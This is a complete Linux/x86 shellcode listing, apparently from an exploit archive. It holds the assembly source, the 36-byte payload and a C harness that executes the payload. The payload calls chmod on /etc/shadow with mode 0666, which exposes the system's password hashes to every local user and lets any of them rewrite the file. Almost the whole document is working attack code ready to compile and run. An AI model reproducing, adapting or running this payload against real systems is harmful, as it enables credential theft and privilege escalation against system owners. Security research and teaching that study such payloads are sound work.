36 byte shellcode for Linux/x86 that performs chmod("/etc/shadow", 0666) and exits.
daa1d05fcf31e6b915a63ab79d768f3c29c657f453c5f815a1193f8ddb31e26e
/* By Kris Katterjohn 8/29/2006
*
* 36 byte shellcode to chmod("/etc/shadow", 0666) and exit for Linux/x86
*
* To remove exit(): Remove the last 5 bytes (0x6a - 0x80)
*
*
*
* section .text
*
* global _start
*
* _start:
* xor edx, edx
*
* push byte 15
* pop eax
* push edx
* push byte 0x77
* push word 0x6f64
* push 0x6168732f
* push 0x6374652f
* mov ebx, esp
* push word 0666Q
* pop ecx
* int 0x80
*
* push byte 1
* pop eax
* int 0x80
*/
main()
{
char shellcode[] =
"\x31\xd2\x6a\x0f\x58\x52\x6a\x77\x66\x68\x64\x6f\x68"
"\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\x68"
"\xb6\x01\x59\xcd\x80\x6a\x01\x58\xcd\x80";
(*(void (*)()) shellcode)();
}